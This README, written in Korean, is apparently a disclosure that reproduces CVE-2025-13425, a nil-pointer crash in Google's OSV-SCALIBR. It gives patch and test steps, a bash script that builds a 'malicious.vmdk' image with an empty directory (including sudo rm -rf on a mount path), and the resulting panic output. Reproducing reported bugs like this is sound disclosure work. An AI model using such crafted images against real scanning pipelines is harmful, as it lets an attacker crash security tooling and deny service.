
이 저장소에는 제가 Google의 OSV-SCALIBR 프로젝트에서 발견한 CVE-2025-13425: 널 포인터 역참조 / 배열 인덱스 초과 취약점을 재현하기 위한 지침이 포함되어 있습니다.
CVE-2025-13425을 재현하려면 아래 단계를 따르세요:
1단계: 최신 osv-scalibr 소스 코드를 클론합니다:
$ git clone https://github.com/google/osv-scalibr
2단계: 다음 수정 커밋에서 언급된 코드를 제거합니다: https://github.com/google/osv-scalibr/commit/e67c4e198ca099cb7c16957a80f6c5331d90a672
3단계: vmdk.go.patch 패치를 사용하여 vmdk.go에 적용합니다:
$ cd osv-scalibr
$ git apply /path/to/vmdk.go.patch
vmdk.go에 왜 이러한 변경이 필요한가요?
이는 단지 예시일 뿐이며, 이 버그는 vmdk 플러그인에만 국한되지 않습니다. 버그를 트리거하기 위해 필요합니다. 버그는 누군가 파일 내부에 포함된 가상 파일 시스템을 탐색하는 자신만의 플러그인을 작성할 때 트리거됩니다. 버그는 osv-scalibr가 가상 파일 시스템을 처리하는 방식에 있습니다. 이 버그는 컴파일 또는 프로덕션 과정에서 눈에 띄지 않지만, 사용자가 최소 하나의 빈 디렉토리를 포함하는 vmdk 파일을 제공할 때 트리거됩니다.
4단계: 소스 코드를 컴파일하여 "scalibr" 바이너리를 얻습니다:
$ make clean && make
5단계: 다음 명령어로 트리거합니다:
$ go test -v ./extractor/filesystem/embeddedfs/vmdk/
예상 출력:
...
=== RUN TestExtractValidVMDK/DiskImage_1
vmdk_test.go:87: GetEmbeddedFS() failed: unsupported filesystem type unknown for partition 2
--- FAIL: TestExtractValidVMDK (1.35s)
--- PASS: TestExtractValidVMDK/DiskImage_0 (0.02s)
--- FAIL: TestExtractValidVMDK/DiskImage_1 (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered]
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x20 pc=0x7613e2]
...
또는
빈 디렉토리를 포함하는 악성 (또는 최소) vmdk 이미지를 생성할 수 있습니다. 이를 위해 다음 코드로 새 bash 스크립트를 만드세요 (예: gen_malicious_vmdk.sh):
#!/usr/bin/env bash
dd if=/dev/zero of=valid.img bs=1M count=20
parted -s --align optimal valid.img --script mklabel gpt
parted -s --align optimal valid.img --script mkpart primary ext4 0% 100%
sudo losetup -fP valid.img
LOOPDEV=$(losetup -j valid.img | cut -d: -f1)
PARTITION1="${LOOPDEV}p1"
sudo mkfs.ext4 $PARTITION1
sudo rm -rf /mnt/valid*
sudo mkdir /mnt/valid
sudo mount ${PARTITION1} /mnt/valid
sudo mkdir /mnt/valid/empty_dir
sudo umount /mnt/valid
sudo losetup -d ${LOOPDEV}
sudo rm -rf /mnt/valid* *.vmdk
qemu-img convert valid.img -O vmdk malicious.vmdk
이제,
$ chmod +x gen_malicious_vmdk.sh
$ ./gen_malicious_vmdk.sh
그러면 "malicious.vmdk"라는 파일이 생성됩니다. 이제 다음 명령어로 취약점을 트리거합니다:
$ ./scalibr --extractors=embeddedfs/vmdk -o textproto=output.txt malicious.vmdk
예상 출력:
2025/11/05 19:02:45 Running scan with 1 plugins
2025/11/05 19:02:45 Paths to extract: [../try/malicious.vmdk]
2025/11/05 19:02:45 Scan roots: [%!s(*fs.ScanRoot=&{/ /})]
2025/11/05 19:02:45 Starting filesystem walk for root: /
2025/11/05 19:02:45 End status: 0 dirs visited, 1 inodes visited, 1 Extract calls, 124.392222ms elapsed, 124.392999ms wall time
2025/11/05 19:02:45 Starting filesystem walk for root:
panic: runtime error: invalid memory address or nil pointer dereference
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x10 pc=0x1fbb303]
...
CVE-2025-13425는 Yuvraj Saxena ([email protected])에 의해 발견되었습니다.